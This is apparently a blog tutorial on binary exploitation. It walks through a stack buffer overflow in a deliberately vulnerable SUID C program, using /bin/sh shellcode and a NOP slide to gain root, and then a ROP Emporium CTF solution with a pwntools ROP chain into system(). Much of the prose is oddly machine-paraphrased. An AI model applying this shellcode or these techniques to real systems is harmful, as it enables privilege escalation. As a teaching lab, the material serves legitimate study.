Into the art of Binary Exploitation 0x000002 [Sorcery of ROP]

7h3h4ckv157
InfoSec Write-ups
Published in
10 min readOct 2, 2021

--

Hackers often depict what they do as energetically imaginative problem-solving.

Hey Hackers, ✋✋

I’m back again with the following piece from the “Binary Exploitation” series. I had open the entryway for unused comers into this craftsmanship of exploitation. So I decently secured straightforward steps within the past write-up to make commonplace with the subject & this will be the continuation. So in case you didn’t get the intellect of abuse technique, scrutinize this after you get Part I (0x000001).

Plunging deeper

Something that we disregard interior the past write-up was “root”. No question! I’m illustrating the super-user. In Linux, we can’t do anything without root. SUID binary abuse solidifies a binary with its SUID bit set. Which stands for the “Set owner User Id”. Regularly an exceptional authorization that applies to scripts or applications. If the SUID bit is set, when the command is run, its practical UID gets to be that of the proprietor of the record, rather than the user running it. So that, anything executed by the program will do so with that user.

What happens that we misuse a binary underneath the super-user ??

Let’s begin

As an illustration, I as of now made an executable binary which can be found by command-

find / -perm -u=s -type f 2>/dev/null

executable binary (32 bit)

The source is pasted underneath. Obviously, this is the source code of that executable binary “vuln”. If you don’t mind, be beyond any doubt, it’s fairly made by myself as a case. A few of you’ll as of now get it, but fair for clarifying newcomers.

/** Written in C **/
#include<string.h>
#include<stdio.h>
#include<stdlib.h>


void abracadabra(char *fun) {
char data[400];
strcpy(data,fun);
printf("copied..!!");
}


int main(int argc, char* argv[]) {
if (argc != 2) {
printf("No input provided..!");
return 1;
}
abracadabra(argv[1]);
return 0;
}
/** end **/

In case we didn’t provide any input, This piece will get executed.

if (argc != 2) {
printf(“No input provided..!”);
return 1;
}

No input provided..!

argv[1] is a pointer to the primary command-line argument provided. The provided input is passed to the function abracadabra, and which is replicated into a 400 measured buffer.

1) abracadabra(argv[1]);

2) void abracadabra(char *fun) { char data[400]; strcpy(data,fun); printf(“copied..!!”);
}

copied

Usually, this is pretty much sufficient to elaborate on how it works. But did you noticed the vulnerability in this straightforward piece of code?? In the event that you understand my past write-up you’ll get what I’m up to. It’s exceptionally simple & coordinate. This case is intensely rearranged compared to a real-world illustration. Most working frameworks and compilers have certain highlights empowered by default to anticipate buffer floods. Crippling security highlights on your standard computers are more often than not a Beautiful Awful Thought. So I’ll be doing this demo to just fair for this write-up itself.

segmentation fault

The strcpy built-in function does not check buffer lengths and may exceptionally well overwrite the memory zone coterminous to the intended destination. If this program is running as a set-root-uid program, a normal user can exploit this buffer overflow vulnerability and take over the root privileges. The whole family of functions: strcpy, strcat and strcmp is similarly vulnerable. Let’s have a profound look into the code from the assembly level. I utilized a python script fair to analyze the actual memory crash zone.

python exploit.py > exp

The exp can be passed through gdb, and analyze the EIP. Keep in mind that EIP is the instruction pointer or program counter of 32-bit processes and RIP is the instruction pointer or program counter of 64-bit. Within the past write-up, I specified 64-bit(RIP).

0x65616164 = d a a e (little-endian)

Presently the work is simple. Now we are able to essentially calculate the estimate by changing the script a little bit.

412

412 is the capacity or basically fair a virtual boundary before eip. the following bits will be overflows into eip. ie, 412 + 4 (‘d’ ‘a’ ‘a’ ‘e’) = 416.

I used to discover a appropriate shell-code of estimate 53 from online.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
Capacity(412)- Shellcode(53)

We will thrust 359 NOP slides into the stack. In computer security, a NOP slide could be an arrangement of NOP (no-operation) instructions implied to “slide” the CPU’s instruction execution stream to its last & craved goal. We will thrust the NOP slide before our shellcode to fill the buffer.

graphical view

NOP slides (359) + Shellcode (53) + eip (0xffffcd90)

The overflow comes about within the alter of EIP to the address that we given at the conclusion of the stack. That address focuses at the stack itself where the NOP (No Operation) is carried out. And at last, it’ll reach shellcode, which gonna execute!!

Exploit code 😈😈😈

Without any security estimations, we gonna switch to the super-user of the machine in one tap..!! 😈

Machine compromised
Yaay…!! We did it

But it’s not over yet….! Presently, it’s time for another challenge

From the technical point of view, we are going to fathom a basic challenge from ROP Emporium. This time, it’s 64 bit.

Challenge name: Split

To find the flag, we’ve to divert the execution flow.

After downloading & running the program, it’s clear that it inquires for user input. The results are the same indeed in case we provide an input / not, and the output is shown underneath

outputs

I have already run the program through gdb in order to create a mindmap of the execution flow. By jumping through the instructions we were able to get the intended stream of the program.

pwnme function

After analyzing the binary I get it that execution goes through the function “pwnme”.

SIGSEGV

Then I switched to radare2

pwnme

NOTE:- You don’t ought to depend on a specific Tools or strategy for fathoming the case. It’s my individual conclusion since it’s way better to touch every portion which makes a difference you in a diverse circumstance you’ll confront in future.

Obviously, my following step is to jump into the pwnme function.

read()

There we go, it’s clear that the input is perusing from this portion. Can we abuse this….??

Hmmm…
segmentation fault

Like already we’ve done can we inject the shellcode on the stack ??

short Ans: NO

But why?

Within the case of stack-based buffer overflow exploits, aggressors ordinarily control parts of the stack. After picking up control over the program counter it would be exceptionally helpful for the assailant to continue execution on attacker-controlled information (shellcode) on the stack, which is as it were conceivable in case the stack is executable.

What if I told you “no one” uses the executable stack ??

Non-executable stack [NX]

NX is a virtual memory protection mechanism to block shellcode injection from executing on the stack by restricting a particular memory and implementing the NX bit. The previously exploited binary is less secured.

NX enabled

NX empowered!

An operating system with a bolster for the NX bit may stamp certain zones of memory as non-executable. The processor will then deny executing any code dwelling in these regions of memory. Marking memory regions as non-executable implies that code cannot be run from that locale of memory, which makes it harder for the exploitation of buffer overruns. When NX bit turned on, our classic approach to stack-based buffer overflow will drop down to misuse the vulnerability. Is that brutal sufficient that we can’t do anything..? does the course of action for exploitation wrapped up..???

Hackers never QUIT !!

Now… I’m gonna teach you a few Enchantments.
yeah… we gonna do some magic.

Return-oriented programming (ROP)

Return-Oriented Programming (or ROP) is a security misuse strategy utilized by aggressors to execute code on their target system. By getting control of the call stack, the aggressor can control the stream of existing trusted computer programs running on the computer and control it to their ends. It is the thought of chaining together little snippets of assembly with stack control to cause the program to do more complex things. ROP stitches together pieces of code ending with a ret instruction (gadgets) which are already present in programs. These gadgets get their argument through mov, pop, etc. Thus, in case an aggressor can overwrite the return address initially stored on the stack within the address of the primary ROP gadget, the aggressor can chain numerous such gadgets to execute any code they need to obtain control of the system. In a way, in ROP, the stack pointer acts as the instruction pointer and the ret instruction at the end of each gadget causes a jump to another ROP gadget, which is analogous to an ordinary program.

So How can we utilize that strategy here? It’s simple… enumerate at 1st, exploit later. I don’t like to spoon bolster my perusers. At few points, you as well need to make an exertion to get what I’m up to.

By utilizing object dumb “objdump” I’m able to examine a few strings & it helps understand the arrangement is there itself by perusing the “flag.txt” record. with the assistance of radare2, I’m able to discover its clear view.

0x00601060

Previously, I master-checked each instruction & affirmed that the program isn’t calling anything related to this “flag.txt”. It’s not in any function as well. So how can we illuminate this challenge??

Enumerate harder…

By analyzing the available functions I come to a curious point. A function named “usefulFunction” have system-call. which acknowledges client arguments.

usefulFunction

Solution

Once if we could provide an argument that tells the system function to execute “cat /bin/flag.txt”, at that point the challenge is illuminated. We’d already found the address indicating to the “cat /bin/flag.txt”. Is that sufficient? No… We ought to execute it. So we ought to provide inside system function. Arguments to a function are pushed to the stack in reverse order (right to left). The function at that point pops its arguments off the stack and does its work.

The 64-bit versions, registers are named:

rax — register a extended
rbx — register b extended
rcx — register c extended
rdx — register d extended
rbp — register base pointer
rsp — register stack pointer
rsi — register source index
rdi — register destination index

Arguments to functions in x64 are passed in registers RDI, RSI, RDX, R10, R8, and R9, With the first argument in RDI. We’re investigating the x64 binary, we can see that we ought to pass our single argument to system() within the RDI register.

We will do that by getting the address into the stack and after that having pop rdi be called. This will be the primary time we gonna utilize the ROP gadget!

Gadget found

Exploitation

Presently it’s time to create an exploit, which returns the flag to us. It’s pretty simple since we’d already found everything that we required. I submissively suggest you to use python2 for building your exploit. That’s what I found comfortable & simple to build.

1. Fill the buffer

2. POP rdi

3. Pass the single argument (“cat /bin/flag.txt”) to system()

4. Done

from pwn import *

print("**************** Check-sec ***************") xrx = ELF('./split') print("******************************************")
payload = "A" * 40payload += p64(0x004007c3) # pop rdipayload += p64(0x00601060) # /bin/cat flag.txtpayload += p64(0x00400560) # sytem()p = xrx.process()
print p.recvuntil(">")
p.clean()
p.sendline(payload)
p.recv()
p.interactive()
print p.clean()

The art of exploitation is on the next level. Run the exploit to see what comes about…

ROPE{a_placeholder_32byte_flag!}

That’s it… we’d effectively changed the expecting stream of the execution & finds the flag.

Reminder
These are just basics to show how we can bypass the security of NX-enabled binary. You can exploit it unexpectedly according to your contemplations. This write-up intends to acclimate the ROP with a simple illustration.

In case you are delighted, it would be ideal to connect with me. Within the coming write-up, we’ll talk about something greater…!!

Feel free to connect on Twitter @7h3h4ckv157

Thanks for reading..!! 😉

--

--

Reformed Hacker | Hall of Fame: Google, Apple, NASA, 𝕏 (Twitter) & Many more | CVE ×4 | HTB - GURU